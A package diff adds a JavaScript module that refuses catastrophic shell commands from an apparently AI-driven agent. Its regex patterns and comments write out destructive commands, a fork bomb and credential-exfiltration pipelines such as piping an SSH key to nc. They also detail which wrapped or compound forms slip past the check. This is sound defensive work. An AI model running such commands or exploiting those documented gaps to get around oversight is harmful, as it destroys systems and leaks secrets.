@gaunt-sloth/core 2.0.0-alpha.9 → 2.0.0-beta.1

package/dist/core/shell/hardline.js

@@ -0,0 +1,780 @@
+/**
+ * @module core/shell/hardline
+ *
+ * The shell floor — spec §8. Refused inside `executeCommand` BEFORE spawn, so a match fires
+ * regardless of `approvals: "bypass"`, any allow-list entry, or the confirmation path. `bypass`
+ * bypasses the *confirmation*; it does not bypass this.
+ *
+ * **It is consulted twice, and the second call site is the one §4.2 asks for.** Exec time is the
+ * guarantee that a matching command never runs. The approvals gate consults it *before any rating
+ * and before any prompt*, at every rung that reaches a decision — every one but `bypass`, where a
+ * shell call is approved before the gate gets that far, so there `executeCommand` alone enforces
+ * this. The gate-time site exists because "refused at execution whatever you decide" still lets the
+ * gate open a §5 negotiation, or put an approval dialog in front of a person, about a command that
+ * was never going to run — and *"asking a human to approve something that is then refused anyway
+ * teaches them their answer does not count, which is worse than a flat refusal"*. Both sites share
+ * {@link buildHardlineRefusal}, so one policy speaks with one sentence.
+ *
+ * It lives in `@gaunt-sloth/core` rather than beside the toolkit that executes commands because the
+ * approvals gate (`GthAgentRunner`) is core's and core cannot import `@gaunt-sloth/agent`.
+ *
+ * **What it is:** a cheap, deterministic way to turn away a small set of commands we are
+ * **absolutely sure** are catastrophic and that can be recognised **without numerous annoying false
+ * positives** — wipe the root filesystem, format a disk, overwrite a raw block device, re-own the
+ * filesystem out from under root, fork-bomb, take the host down — plus the deterministic subset of
+ * the §4.1.1 `attack` outcome (a credential source and a network sink in one pipeline).
+ *
+ * **What it is NOT: a security boundary, an ultimate defence, or complete.** It is a lexical test
+ * over the normalized command; it does not parse the shell and never will. **Incompleteness here is
+ * by design, so a review finding that merely names an uncovered variant is not a defect in this
+ * layer.** Building something that could claim completeness costs years we do not have, and we have
+ * a rater for the second step of rejection. Recoverable-but-costly operations (`git reset --hard`,
+ * `rm -rf ./build`, `chmod -R 777 ./dir`, `curl | sh`) are deliberately not here either — those are
+ * the confirmation dialog's job.
+ *
+ * **How it may grow: spec §8.0 states the rules and they bind — read it before adding a pattern.**
+ * In short: stress-test a new case for side effects, and drop it if the false positives cannot be
+ * avoided cheaply. **What decides every one of those calls is the asymmetry — a false positive here
+ * is unappealable at EVERY rung including `bypass`, while a miss still has the rater and the
+ * escalation behind it at every rung but `bypass`.** {@link CMD_POS} carries the worked example of
+ * a case measured and dropped.
+ *
+ * **How it may SHRINK — a narrowing ships with its removal set pinned.** Any edit that makes the
+ * floor refuse strictly fewer commands is a narrowing: a new exclusion, a loosened bound, a
+ * tightened anchor, a narrower character class. **The suite cannot review one.** If the edit had
+ * removed a refusal that any spec asserts, that spec would be red — so a green run proves only that
+ * everything the edit removed was unasserted, which is the same set as "uncovered". Green is
+ * structurally silent about a narrowing, and an AI review of the diff is no better: both read what
+ * the change still does, and the whole risk is in what it quietly stopped doing.
+ *
+ * So the change states its **removal set** — the commands that matched before and do not match
+ * after — characterised from the shape of the edit, never sampled from the corpus
+ * (`shellHardlineCorpus.spec.ts` sees only its own cases *by construction*; its docblock says so). A
+ * regex's removal set cannot be enumerated exactly, so the requirement is a characterisation plus
+ * probes pinned at its dangerous end. **Derived by the reviewer independently, not by the author** —
+ * an author who missed the removal while writing the edit will miss it again while describing it.
+ * {@link HARDLINE_PATTERN_SURFACE} is what makes a narrowing ASK for that declaration: every pattern
+ * constant this module binds at module scope is frozen in `shellHardlinePatternSurface.spec.ts`, so
+ * moving one turns a cell red and only a deliberate edit to that spec's literal turns it green
+ * again. A pattern built inside a function body, and any narrowing that lives in control flow rather
+ * than in a string, are outside it — that spec's docblock names them.
+ *
+ * **The asymmetry above flips at the exfiltration boundary — check which half you are editing.**
+ * For the destructive-verb arms a miss still has the confirmation dialog and the rater behind it,
+ * which is what makes "prefer fewer false positives" safe there. For the exfiltration arms,
+ * removing a refusal **is** the harm, and "a miss still has the rater behind it" is the precise
+ * reliance §3 forbids: the deterministic subset exists *because* the `attack` outcome must not
+ * depend on the rater alone. "Strictly subtractive — it can only remove refusals, never add one" is
+ * a safety property in the first half and a description of the vulnerability in the second.
+ *
+ * §8.1 — **the floor is never advertised.** It is documented for people reading the code and the
+ * spec, never offered to a user as a reason to feel safe; user-facing copy cites only protections
+ * the user can inspect and extend (the deny list).
+ *
+ * **Mechanism.** Patterns match the NORMALIZED command (`@gaunt-sloth/core` `core/shell/normalize`)
+ * so ANSI, fullwidth, backslash-split and whitespace-padded spellings cannot walk past them. The
+ * normalized form PRESERVES line breaks — they are separators, not padding — and {@link CMD_POS}
+ * and {@link TARGET_TOKEN_END} are both built from core's one shared `COMMAND_SEPARATOR_CLASS`, so
+ * the two halves cannot come to disagree about what a separator is. Every destructive-verb pattern
+ * is anchored at {@link CMD_POS}, so a verb in an ordinary argument is not a refusal.
+ *
+ * The floor is deliberately INDEPENDENT of the allow-list classifier above it: it must block a
+ * catastrophic command even if every layer above wrongly decided that command was safe.
+ */
+import { COMMAND_SEPARATOR_CLASS, normalizeCommand } from '#src/core/shell/normalize.js';
+/**
+ * A run of flag tokens. Bounded per token by the required trailing whitespace, and unable to
+ * consume the wrapped command because every iteration must start with `-`.
+ */
+const WRAPPER_FLAGS = '(?:-[^\\s]+\\s+)*';
+/**
+ * The wrapper programs that may sit between a command position and the command itself, as ONE
+ * repeatable list — so the order they are written in cannot matter, and `env FOO=1 sudo rm -rf /`
+ * matches as readily as `sudo env FOO=1 rm -rf /`.
+ *
+ * The list is short by charter, not by accident (see the module header). It is the enumeration this
+ * table exists to bound, and the reason wrapped invocations are the floor's standing residual.
+ *
+ * **Each entry carries the operands it takes.** The tempting shortcut — "after a wrapper, skip
+ * tokens until one looks like a command" — is what turns `timeout 5 echo rm -rf /` into an
+ * unappealable refusal of an `echo`. A wrapper may consume only the operand shape it defines;
+ * anything else ends the prefix, and the verb then has to sit at a genuine command position.
+ *
+ * Value-taking short flags are listed BEFORE the generic flag run in each alternation, or
+ * `-[^\s]+` matches `-u` and leaves its value sitting where the command should be.
+ *
+ * **The generic run then EXCLUDES those same flags by lookahead, and that is what keeps this
+ * pattern out of CATASTROPHIC BACKTRACKING — do not "simplify" it away.** Listing the value-taking
+ * branch first only makes it *preferred*; the generic branch can still match `-u ` on backtracking,
+ * so a run of `-u ` tokens partitions two ways per pair — Fibonacci-many parses of one input, all
+ * of which the engine walks when the overall match fails. {@link CMD_POS} is shared by every
+ * destructive-verb pattern, so the whole floor inherits it: measured at `sudo ` + `-u `×40 taking
+ * 2.5 seconds, ×60 not finishing. The lookahead makes the branches mutually exclusive, removing the
+ * ambiguity at its source rather than bounding its cost. Clustered (`-u10`) and long (`--user`)
+ * spellings still fall to the generic run: the character after the flag letter is not whitespace.
+ *
+ * It also makes the value reading FORCED rather than preferred, which deliberately narrows seven
+ * forms: `sudo -u rm -rf /` does not match, because `-u rm` names the *user* and the command that
+ * runs is `/`. That is the shell's own reading, so refusing it would be a false positive.
+ *
+ * **These arms are reachable only from a command position**, so they are strictly additive: they
+ * widen what counts as a prefix, never where a prefix may start. A wrapper name in an ordinary
+ * argument (`man timeout`) cannot reach this table at all.
+ */
+const WRAPPER_ARMS = [
+    // `-u root` / `-g grp` take a value; the generic run would eat the flag and leave the value.
+    `sudo\\s+(?:-[ugpUCDhRT]\\s+\\S+\\s+|-(?![ugpUCDhRT]\\s)[^\\s]+\\s+)*`,
+    // `env -i`, `env -u VAR`, then any number of VAR=VAL assignments. Flags precede the assignments,
+    // as in the real syntax.
+    `env\\s+(?:-u\\s+\\S+\\s+|-(?!u\\s)[^\\s]+\\s+)*(?:\\w+=\\S*\\s+)*`,
+    // `timeout [flags] DURATION cmd` — the duration operand is what the flag run cannot express.
+    // Longest-first against `time` below; both require trailing whitespace, so neither can claim
+    // the other's name.
+    `timeout\\s+(?:-[sk]\\s+\\S+\\s+|-(?![sk]\\s)[^\\s]+\\s+)*[0-9]+(?:\\.[0-9]+)?[smhd]?\\s+`,
+    // `nice -n 10` / `ionice -c 3`; the clustered spellings (`-c3`, `-o0`) fall to the generic run.
+    `nice\\s+(?:-n\\s+\\S+\\s+|-(?!n\\s)[^\\s]+\\s+)*`,
+    `ionice\\s+(?:-[cnp]\\s+\\S+\\s+|-(?![cnp]\\s)[^\\s]+\\s+)*`,
+    `stdbuf\\s+${WRAPPER_FLAGS}`,
+    // Bare forms only. `eval "rm -rf /"` and `xargs -I{} sh -c "…"` put the command inside a quoted
+    // ARGUMENT, which needs CFG-29 span extraction rather than another entry here — see the residual
+    // note in the module docblock. `eval rm -rf /` and `xargs rm -rf /` are the forms covered.
+    `(?:eval|command|builtin|exec|nohup|setsid|time|xargs)\\s+${WRAPPER_FLAGS}`,
+];
+/**
+ * Matches a position where the shell would begin parsing a NEW command: start of string, after a
+ * separator (`;` `&` `|` newline), after `$(` or a backtick, optionally consuming any run of the
+ * leading wrappers in {@link WRAPPER_ARMS}. Used by every destructive-verb pattern so a verb in an
+ * ordinary argument (`echo reboot`, `grep -c mkfs docs/*.md`) is not a refusal.
+ *
+ * **What this deliberately does NOT model. This is the worked example of the header's drop rule —
+ * read it before proposing an addition.**
+ *
+ * **Compound-command openers: `(`, `{`, `)` for a `case` arm, and the `then`/`else`/`elif`/`do`
+ * keyword positions.** A shell begins a command at every one of them, so `(rm -rf /)`,
+ * `{ rm -rf /; }`, `if true; then rm -rf /; fi` and `for f in a; do rm -rf /; done` all execute.
+ * Each opener was measured against prose whose only crime is describing shell syntax, and **every
+ * one costs legitimate commands — there is no free opener:**
+ *
+ * | opener | invocations bought | prose refused (of 20) |
+ * |---|---|---|
+ * | `(` | 1 | 4 |
+ * | `{` + space | 1 | 3 |
+ * | `)` (case arm) | 1 | 3 |
+ * | `then` | 2 | 2 |
+ * | `do` | 2 | 2 |
+ * | `else` | 1 | 1 |
+ *
+ * `)` is the sharpest: it is the only way to reach a `case` arm and it also refuses
+ * `echo "(a) rm -rf / is bad"`, so the two cannot both hold lexically. **So the cases are DROPPED.**
+ *
+ * **A miss here is not naked.** `classifyCommand` returns `null` for seven of the eight forms — the
+ * `;` inside them makes the command unclassifiable — so they escalate at `assisted` and
+ * `auto`, where the rater rates them (measured `catastrophic` on `claude-haiku-4-5`,
+ * `gemini-3.6-flash`, `gemini-3.5-flash-lite` and `google/gemma-3-12b-it`). `(rm -rf /)` is the
+ * eighth and resolves to prefix `(rm`, which no allow-list will hold. **`bypass` consults neither,
+ * so there they are uncovered** — knowingly: that rung's whole meaning is "stop asking me", and a
+ * user who wants the catastrophic set actually stopped belongs on `manual`.
+ *
+ * **Wrapped invocations whose flag takes a space-separated value** are the same shape and the same
+ * answer — `sudo --user root rm -rf /`, `timeout --kill-after 5s 10s rm -rf /`, `nice --adjustment
+ * 10 …`, `xargs -n 1 …`, `stdbuf -o 0 …`, `env -C /tmp …`, `exec -a name …` all execute. The flag
+ * run consumes the flag and leaves the value where a command would be, ending the prefix. Covering
+ * them needs a per-flag enumeration of which long forms take values, where a wrong guess produces a
+ * MISS rather than mere noise: the growth this file refuses.
+ *
+ * **Quoting** is out because this is a lexical test, and teaching it to parse quotes is a second
+ * command parser — a quote-aware scanner built for exactly this was measured leaking 6 of 12
+ * attacks where the blunt one leaked 0. `sh -c "…"`, `bash -c "…"`, `eval "…"` and
+ * `xargs -I{} sh -c "…"` put the command inside an argument and stay uncovered on that basis; the
+ * BARE `eval rm -rf /` and `xargs rm -rf /` ARE covered by {@link WRAPPER_ARMS}, so those names
+ * appearing there must not be read as full cover. The same lexical blindness means a mention
+ * following a separator or backtick still matches (`echo "step 1; rm -rf / is fatal"` is refused).
+ *
+ * All of it is pinned in `shellHardline.spec.ts` — as `knowinglyUncovered` and as must-NOT-fire
+ * prose probes — so a later widening goes red against the prose before it can go green against the
+ * invocations.
+ */
+const CMD_POS = `(?:^|[${COMMAND_SEPARATOR_CLASS}\`]|\\$\\()` +
+    '\\s*' +
+    `(?:${WRAPPER_ARMS.join('|')})*` +
+    '\\s*';
+/**
+ * The end of a target TOKEN, as a zero-width lookahead: end of input, whitespace, a separator that
+ * starts a new command, or a substitution closer.
+ *
+ * **It ends the TOKEN, not the command, and the difference is load-bearing.** A tail requiring the
+ * target path to be the last thing on the line is defeated by anything after it, which lets
+ * `rm -rf / --no-preserve-root`, `rm -rf / /tmp` and `rm -rf /etc /var` through — refusing the form
+ * GNU coreutils declines anyway while allowing the form that actually deletes the filesystem.
+ *
+ * **It still has to BIND**, because a bare `/` otherwise matches the first character of every
+ * absolute path. That is what keeps `/var/www/html` and `/home/deploy/app`, where all ordinary work
+ * happens, out of range: after `/var` comes `/`, which is neither whitespace nor a separator.
+ *
+ * Built from the ONE shared {@link COMMAND_SEPARATOR_CLASS}, widened — never a second spelling of
+ * it, or the two halves of this module come to disagree about what a separator is and a
+ * newline-composed command silently stops matching. (JS `$` without the `m` flag matches only true
+ * end-of-input, so the explicit line break in the class is required; `m` is NOT an alternative —
+ * it would also change `^` in {@link CMD_POS}.)
+ *
+ * **The class also ends the token at a substitution CLOSER — `)` and a backtick** — which is the
+ * symmetric case to {@link CMD_POS} treating `$(` and a backtick as command *openers*. Without it a
+ * target's tail cannot bind inside a substitution, and `echo $(rm -rf /)`, `` echo `rm -rf /` ``
+ * and the bare `$(rm -rf /)` are allowed: the floor knows where such a command begins and not where
+ * it ends.
+ *
+ * Widening an unappealable layer, so it carries its own must-NOT-fire probes
+ * (`rm -rf ./build --verbose`, `chown -R app:app /var/www/html extra`) rather than relying on the
+ * must-refuse ones alone.
+ *
+ * Not to be confused with the credential section's `TOKEN_END` below. That one ends a PATH token —
+ * it consumes an optional trailing slash and stops only at whitespace. The two are deliberately
+ * separate: this one must treat `;`/`&`/`|` and the substitution closers as ending the token,
+ * because a target is the last thing before the enclosing construct resumes.
+ */
+const TARGET_TOKEN_END = `(?=$|[\\s)\`${COMMAND_SEPARATOR_CLASS}])`;
+/**
+ * A target path, in the three spellings a shell accepts for the same file: bare, double-quoted,
+ * single-quoted. `rm -rf "/"` deletes exactly what `rm -rf /` deletes.
+ *
+ * **The quotes are tolerated HERE rather than folded into `normalizeCommand`, and that is
+ * deliberate.** The normalizer also feeds the allow-list classifier and `hasUnsafeComposition`, so
+ * stripping quotes there would change what `classifyCommand` resolves and a quoted `;` would stop
+ * being fail-closed. Tolerating them in three target arms is local and bounded; folding them
+ * globally is not.
+ *
+ * Each spelling still ends at {@link TARGET_TOKEN_END}, so a quote that merely *starts* the token
+ * does not make the whole token a target: `rm -rf /"var"/www` is not `rm -rf /`.
+ */
+const quotedOrBare = (path) => `(?:"${path}"|'${path}'|${path})${TARGET_TOKEN_END}`;
+/* -------------------------------------------------------------------------------------------- *
+ * The shared TARGET fragments.
+ *
+ * Three families here (`rm`, `chmod`, `chown`) are catastrophic for the same reason: they are
+ * pointed at the root of the filesystem or at a system directory. **ONE spelling of that idea,
+ * shared by all three, is a correctness requirement rather than tidiness** — three independent
+ * spellings drift, and the odd one out is how `chmod -R 777 /var/www` came to be refused
+ * unappealably as if it were `chmod -R 777 /`.
+ * -------------------------------------------------------------------------------------------- */
+/**
+ * The root filesystem AS A TARGET: `/`, `/*`, or `//`. The {@link TARGET_TOKEN_END} tail is the
+ * whole point — without it, `/` matches the first character of every absolute path. Quoted
+ * spellings via {@link quotedOrBare}.
+ */
+const ROOT_TARGET = quotedOrBare('/\\s*(?:\\*|/)?');
+/**
+ * A NAMED system directory as a target: `/etc`, `/etc/`, `/usr/*`. The token has to END at the
+ * directory itself, so a path BELOW one — `/var/www/html`, `/home/deploy/app`, where all ordinary
+ * work happens — is deliberately out of range.
+ *
+ * The optional trailing `/` is a DELIBERATE WIDENING: `chmod -R 777 /etc/` is semantically
+ * identical to `chmod -R 777 /etc` and is the more natural way to write a directory. All three
+ * families get it from this one spelling. The tail still has to BIND, so `/etc/foo` and
+ * `/var/www/html` remain out of range.
+ */
+const SYSTEM_DIR_TARGET = quotedOrBare('(?:/(?:home|root|etc|usr|var|bin|sbin|boot|lib|lib64|opt|sys|proc))(?:/\\*?)?');
+/* -------------------------------------------------------------------------------------------- *
+ * The pieces of the recursive-`chown`-of-root patterns.
+ *
+ * `chown` differs from `rm` in shape: an operand (the owner spec) sits between the options and the
+ * target, and it may appear on either side of them (`chown -R nobody:nobody /`,
+ * `chown nobody:nobody -R /`). These three fragments let the target arms below skip exactly the
+ * option and owner tokens — and nothing else — on the way to the target.
+ * -------------------------------------------------------------------------------------------- */
+/**
+ * Whitespace that is NOT a command separator. The gaps between a command's own tokens are
+ * horizontal; a line break ENDS the command, so the skip loops below must not step over one. With
+ * a plain `\s+` here, `chown -R app:app conf` followed by a newline and `cat /` reads as one long
+ * `chown` invocation targeting `/` — an unrecoverable false positive assembled out of two innocent
+ * lines.
+ */
+const H_SPACE = '[^\\S\\n\\r]+';
+/**
+ * What may NOT appear inside a single token of one command: whitespace, a command separator, a
+ * backtick (which OPENS a command — {@link CMD_POS} lists it as a command position), and `#`
+ * (which ENDS one — everything after a comment is inert, so `chown -R app:app dist # perms under /`
+ * targets `dist`, not `/`).
+ *
+ * **Every token matcher below is built from this rather than a bare `[^\s]`, because `[^\s]`
+ * swallows a GLUED separator.** `chown -R app:app dist -v; ls /` otherwise reads `-v;` as one
+ * skippable option token, walks straight past the `;`, and matches `ls /`'s argument as the chown
+ * target — a refusal assembled out of two unrelated commands, the same defect as the newline case
+ * above but INSIDE a token rather than between tokens. {@link H_SPACE} closes it between tokens;
+ * this closes it within one. Both exclusions can only make the skip stop EARLIER, so they are
+ * strictly subtractive: they remove refusals and can introduce none.
+ */
+const H_TOKEN_EXCLUSIONS = `\\s\`#${COMMAND_SEPARATOR_CLASS}`;
+/** A character of a token belonging to this command. */
+const H_TOKEN_CHAR = `[^${H_TOKEN_EXCLUSIONS}]`;
+/** The same, minus `/` — for an operand that must not be a path. */
+const H_OPERAND_CHAR = `[^${H_TOKEN_EXCLUSIONS}/]`;
+/**
+ * A recursive flag: the long form, or any short-option cluster containing `r` (`-R`, `-hR`, `-Rv`).
+ * Patterns match the LOWERCASED normalized command, so `-R` arrives here as `-r`. The `(?!-)` keeps
+ * the cluster arm off long options, so `--reference=…` is not read as recursion.
+ */
+const RECURSIVE_FLAG = `(?:--recursive|-(?!-)${H_TOKEN_CHAR}*r${H_TOKEN_CHAR}*)`;
+/**
+ * A token the target arms may skip: an option, or the owner spec (`nobody:nobody`, `65534:65534`,
+ * `$user:$user`, `:group`). Neither arm can run past the end of the command
+ * ({@link H_TOKEN_EXCLUSIONS}), and the owner arm additionally excludes `/` so the skip cannot
+ * swallow a path operand. The option arm has to keep `/` — `--reference=/etc/passwd`.
+ */
+const CHOWN_SKIPPABLE_ARG = `(?:-${H_TOKEN_CHAR}+|${H_OPERAND_CHAR}+)`;
+/**
+ * `chown`, its options and its owner spec — everything up to the target. The owner is optional
+ * because `--reference=FILE` replaces it.
+ *
+ * **Anchored at {@link CMD_POS}, and it must stay anchored.** Unanchored, `\bchown` matches the
+ * word anywhere and {@link RECURSIVE_FLAG} accepts any `r`-bearing flag token, so `grep chown -r
+ * /etc` — pattern, flag, path, the standard invocation for asking why permissions under `/etc` keep
+ * changing — is refused under every rung including `bypass`, with no way for the user to proceed.
+ * The miss this buys is `sh -c "chown -R nobody:nobody /"`, which `classifyCommand` still resolves
+ * to `null`, so the ambiguity preflight escalates it at both rated rungs. Declining to vouch for
+ * the floor's completeness does not license refusing ordinary read-only work.
+ */
+const CHOWN_HEAD = CMD_POS +
+    'chown' +
+    H_SPACE +
+    `(?:${CHOWN_SKIPPABLE_ARG}${H_SPACE})*` +
+    RECURSIVE_FLAG +
+    H_SPACE +
+    `(?:${CHOWN_SKIPPABLE_ARG}${H_SPACE})*`;
+/**
+ * Hardline patterns: [regex, human description]. Matched case-insensitively against the normalized
+ * command.
+ *
+ * **Every destructive-verb pattern is anchored at {@link CMD_POS}, and must stay anchored.** A word
+ * boundary (`\brm`) — or no anchor at all — matches the verb ANYWHERE, including inside prose and
+ * inside another command's arguments. Measured over 30 legitimate commands, the unanchored floor
+ * refused 10 of them: `echo never run rm -rf /`, `grep -c mkfs docs/*.md`,
+ * `rg -n "dd of=/dev/sd" scripts/`, `grep -rn "kill -1" packages/` and more. **The floor refused
+ * commands that merely talk about the floor**, unappealably, at every rung including `bypass`.
+ *
+ * {@link CMD_POS} consumes the wrapper programs and admits every separator position, so
+ * `sudo rm -rf /`, `ls -la; rm -rf /` and `ls\nrm -rf /` all keep refusing.
+ *
+ * **What anchoring gives up** is the interpreter-wrapper forms — `sh -c "rm -rf /"`,
+ * `bash -c "mkfs.ext4 /dev/sda1"`. `classifyCommand` resolves those to the prefixes `sh` and
+ * `bash`, so no deterministic layer sees them; what covers them is the RATER, which rates them
+ * `catastrophic`, so both rated rungs escalate. Only `bypass` is unguarded, and there the user has
+ * asked for no gate. A false positive in this layer has no recovery at any rung; a miss still has
+ * the layers above it. The floor stays narrow and accepts the misses.
+ *
+ * Two patterns are deliberately NOT anchored, because neither is a command-position construct: the
+ * `>`-redirect-to-device arm (a redirection operator appears mid-command by definition) and the
+ * fork-bomb literal (the string *is* the fork bomb).
+ */
+export const HARDLINE_PATTERNS = [
+    // rm -rf targeting the root filesystem (`/`, `/*`). Built with `new RegExp` so both the tail and
+    // the target come from the shared fragments rather than a literal spelling of their own.
+    [
+        new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*' + ROOT_TARGET),
+        'recursive delete of root filesystem',
+    ],
+    // rm -rf targeting protected system directories (with optional /* suffix).
+    [
+        new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*' + SYSTEM_DIR_TARGET),
+        'recursive delete of system directory',
+    ],
+    // rm -rf targeting the home directory (~ or $HOME).
+    // Note: patterns match the LOWERCASED normalized command, so $HOME → $home.
+    [
+        new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*(?:~|\\$home)(?:/\\*)?' + TARGET_TOKEN_END),
+        'recursive delete of home directory',
+    ],
+    // Filesystem format. Anchored, `mkfs --help` is still refused, and that is accepted: a usage
+    // query is not work anyone loses, and requiring a device operand would trade a trivial false
+    // positive for a real miss.
+    [new RegExp(CMD_POS + 'mkfs(?:\\.[a-z0-9]+)?\\b'), 'format filesystem (mkfs)'],
+    // dd writing to a raw block device. Anchored: `rg -n "dd of=/dev/sd" scripts/` is a source search.
+    [
+        new RegExp(CMD_POS + 'dd\\b[^\\n]*\\bof=/dev/(?:sd|nvme|hd|mmcblk|vd|xvd)[a-z0-9]*'),
+        'dd to raw block device',
+    ],
+    // Shell redirection to a raw block device (`> /dev/sda`).
+    [/>\s*\/dev\/(?:sd|nvme|hd|mmcblk|vd|xvd)[a-z0-9]*\b/, 'redirect to raw block device'],
+    // Classic fork bomb `:(){ :|:& };:`.
+    [/:\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:/, 'fork bomb'],
+    // Recursive chmod of root, and the same on a named system directory.
+    //
+    // The mode is any 3- or 4-digit octal rather than the literal `777`, because EVERY recursive
+    // chmod of `/` is catastrophic and not only the world-writable one: `755` on `/usr/bin/sudo`
+    // strips its setuid bit just as `000` does, and the box can no longer repair itself. The
+    // description therefore names no mode.
+    //
+    // The shared cluster-tolerant `RECURSIVE_FLAG` is required here: a standalone `(?:-r|--recursive)`
+    // does not match `chmod -Rv 777 /`.
+    //
+    // The target arms are what keep `chmod -R 777 /var/www` (corpus `de-04`, a deliberately
+    // UN-floored case) out of range — the target token must END at the system directory. A tailless
+    // `777\s+/` would fire on ANY absolute path.
+    [
+        new RegExp(CMD_POS +
+            'chmod\\s+(?:-[^\\s]*\\s+)*' +
+            RECURSIVE_FLAG +
+            '\\s+(?:-[^\\s]*\\s+)*[0-7]{3,4}\\s+' +
+            ROOT_TARGET),
+        'recursive chmod of root filesystem',
+    ],
+    [
+        new RegExp(CMD_POS +
+            'chmod\\s+(?:-[^\\s]*\\s+)*' +
+            RECURSIVE_FLAG +
+            '\\s+(?:-[^\\s]*\\s+)*[0-7]{3,4}\\s+' +
+            SYSTEM_DIR_TARGET),
+        'recursive chmod of system directory',
+    ],
+    // Recursive chown of the root filesystem (`chown -R nobody:nobody /`, `… /*`). Unrecoverable
+    // without rescue media: it strips setuid from `sudo` and re-owns every service account, so the
+    // box can no longer repair itself. `chmod 777` leaves you root; this takes root away. Same two
+    // arms off the same shared target fragments, so `chown -R app:app /var/www/html` does not match
+    // while `… /var` does.
+    [new RegExp(CHOWN_HEAD + ROOT_TARGET), 'recursive chown of root filesystem'],
+    [new RegExp(CHOWN_HEAD + SYSTEM_DIR_TARGET), 'recursive chown of system directory'],
+    // Kill every process on the system (`kill -9 -1`, `kill -- -1`).
+    //
+    // The option loop is `+` and NOT `*`, because `-1` means "every process" only in the PID OPERAND
+    // position — something has to precede it. With `*` the pattern also matches `kill -1`'s own
+    // SIGNAL position, so `kill -1 12345`, an ordinary SIGHUP to one process, is refused
+    // unappealably. Requiring a preceding token keeps `kill -9 -1`, `kill -HUP -1` and `kill -- -1`,
+    // and drops only `kill -1` with no PID, which is a usage error rather than a kill-all.
+    [new RegExp(CMD_POS + 'kill\\s+(?:-[^\\s]+\\s+)+-1\\b'), 'kill all processes'],
+    // System shutdown / reboot — anchored to a command position so `echo reboot`
+    // and `grep shutdown log` don't trip it.
+    [new RegExp(CMD_POS + '(?:shutdown|reboot|halt|poweroff)\\b'), 'system shutdown/reboot'],
+    [new RegExp(CMD_POS + 'init\\s+[06]\\b'), 'init 0/6 (shutdown/reboot)'],
+    [
+        new RegExp(CMD_POS + 'systemctl\\s+(?:poweroff|reboot|halt|kexec)\\b'),
+        'systemctl poweroff/reboot',
+    ],
+    [new RegExp(CMD_POS + 'telinit\\s+[06]\\b'), 'telinit 0/6 (shutdown/reboot)'],
+];
+/* -------------------------------------------------------------------------------------------- *
+ * §8 — the DETERMINISTIC SUBSET OF THE `attack` OUTCOME.
+ *
+ * **Two words that are not the same word.** `attack` is the OUTCOME — the one the gate halts on.
+ * *Exfiltration* is a MECHANISM: secrets leaving the machine, §4.1.1 part 1. This section
+ * implements the part of the outcome that is decidable without a model, and that part happens to be
+ * exactly the mechanism — which is why {@link isDeterministicExfiltration} keeps its name while the
+ * prose around it names the outcome. `attack` is wider than exfiltration (privesc, persistence,
+ * deception and obfuscation are all in it, and none of them are here), so naming this function
+ * `isDeterministicAttack` would claim a completeness it does not have.
+ *
+ * §3 requires that the `attack` outcome "MUST NOT depend on the rater alone — its deterministic
+ * subset belongs in the hardline floor", because the allow-list is consulted BEFORE the rater and
+ * would otherwise wave an allow-listed credential upload straight through. What this section
+ * therefore guarantees without a model is that such a command is **refused** — at every rung, above
+ * the allow list, and again before spawn. §4.2's run-ending halt stays with the rater's `attack`
+ * verdict: a floor match is a model-free assertion, and the model-free consequence is a refusal.
+ *
+ * This is deliberately a SUBSET, not an attempt at the whole outcome. The floor is unconfigurable
+ * and fires under `bypass`, so a false positive here is unrecoverable — the user cannot change rung
+ * to escape it. Four rules shape it:
+ *
+ *  1. **A credential SOURCE and a network SINK must appear in the SAME PIPELINE.** Sequencing
+ *     operators (`;`, `&&`, `||`, `&`, newline) start a new pipeline, because they carry no data
+ *     between the halves. So `ssh-keygen -f ~/.ssh/id_ed25519 && curl https://api.github.com/…` is
+ *     an ordinary generate-then-upload-the-PUBLIC-key flow and must not be refused, while
+ *     `cat ~/.ssh/id_rsa | nc host 1234` must be.
+ *
+ *     **The conjunction is what makes the sets safe to be broad.** `scp` and `rsync` are ordinary
+ *     publishing tools, but `scp ./report.pdf deploy@myhost:/srv/` carries no credential source and
+ *     so cannot fire. That is why they belong in the sink set: §4.1.1 part 1 makes secrets
+ *     exfiltration **by any route**, destination irrelevant, so a sink set omitting the file-copy
+ *     tools would not implement part 1 at all.
+ *
+ *  1b. **`rsync` is a sink only where it names a REMOTE end** ({@link RSYNC_REMOTE_SINK_RE}). It is
+ *     the one name in the set with an everyday LOCAL mode: `rsync -av ~/.ssh/ ~/backup/ssh/` copies
+ *     a directory within one machine and transmits nothing, which is not a route off it — so this
+ *     is not a narrowing of part 1's "destination irrelevant" but a refusal to call a local file
+ *     copy a transmission at all. The same backup written as `cp -r` or `tar` was never in range,
+ *     so without this the floor refused the tool rather than the effect.
+ *
+ *  2. **A `.pub` file is never a credential source.** Registering a public key is among the most
+ *     ordinary things a developer does, and `id_rsa.pub` satisfies `\bid_rsa\b` — the word boundary
+ *     is the dot — so the exclusion has to be explicit.
+ *
+ *  3. **A whole credential DIRECTORY is a stronger signal than one file, not a weaker one.**
+ *     `aws s3 sync ~/.ssh s3://bucket/` archives the lot. The directory forms match only when the
+ *     path token ENDS there, so `~/.ssh/id_rsa.pub` is not caught by the `~/.ssh` pattern and rule
+ *     2 is not undone.
+ *
+ *  4. **`.env` is a source, except where it is the DOWNLOAD TARGET.** The conjunction already keeps
+ *     `docker run --env-file .env …` (no sink) out of range. The one ordinary shape with both a
+ *     dotenv file and a sink in one pipeline is fetching one — `curl -o .env https://…` — where the
+ *     data flows IN, and {@link DOTENV_AS_OUTPUT_TARGET} excludes exactly that. It can only
+ *     SUPPRESS a match, so its failure mode is a missed detection, never a new unrecoverable
+ *     refusal.
+ *
+ * `git` and `gh` are deliberately NOT sinks: whether a remote is one the project configured cannot
+ * be judged statically, which is §4.1.1 part 2 — the rater's job, not the floor's.
+ *
+ * §8.1 applies to everything here: the floor exists, and no user-facing copy may lean on it.
+ * -------------------------------------------------------------------------------------------- */
+/**
+ * Sequencing separators — where one pipeline ENDS and an unrelated one begins. Deliberately NOT
+ * `COMMAND_SEPARATOR_CLASS`: that includes `|`, which is precisely the operator that DOES carry
+ * data from a credential source into a network sink and so must keep the two in one pipeline.
+ */
+const PIPELINE_SPLIT_RE = /[;&\n\r]/;
+/**
